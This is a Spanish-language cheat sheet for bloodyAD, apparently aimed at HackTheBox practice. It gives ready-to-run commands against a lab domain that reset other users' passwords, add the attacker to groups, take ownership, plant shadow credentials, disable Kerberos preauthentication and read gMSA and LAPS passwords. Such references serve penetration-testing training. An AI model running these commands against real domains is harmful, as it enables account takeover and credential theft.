bloodyAD

bloodyAD habla LDAP directamente y convierte cada arista de BloodHound en una orden: GenericAll o ForceChangePassword es set password, AddMember es add groupMember, WriteOwner es set owner. Es la forma más rápida de recorrer un camino de ataque desde Linux.

Plataforma
Linux · Windows (Python)
Web oficial
github.com/CravateRouge/bloodyAD
En HTB
12 máquinas
Instalación
pipx install bloodyAD

Chuleta de bloodyAD

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
8 comandos

Qué puedo tocar

Objetos sobre los que tienes escritura
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get writable --detail

Abusar de las ACL

Cambiar la contraseña de otro usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set password victima 'NuevaClave123!'
Añadirte a un grupo
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add groupMember 'NOMBRE DEL GRUPO' usuario
Hacerte propietario y darte control total
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' set owner victima usuario
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add genericAll victima usuario
Shadow credentials
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add shadowCredentials victima
Quitar la preautenticación (AS-REP roasting dirigido)
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' add uac victima -f DONT_REQ_PREAUTH

Leer contraseñas

gMSA
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get object 'cuenta_gmsa$' --attr msDS-ManagedPassword
LAPS
bloodyAD --host 10.10.11.20 -d box.htb -u usuario -p 'Password123!' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Máquinas de HTB donde se usa bloodyAD

Sacadas de los capítulos de los vídeos de IppSec en los que aparece bloodyAD. El enlace ▶ salta al minuto de esa parte.

Guías que usan bloodyAD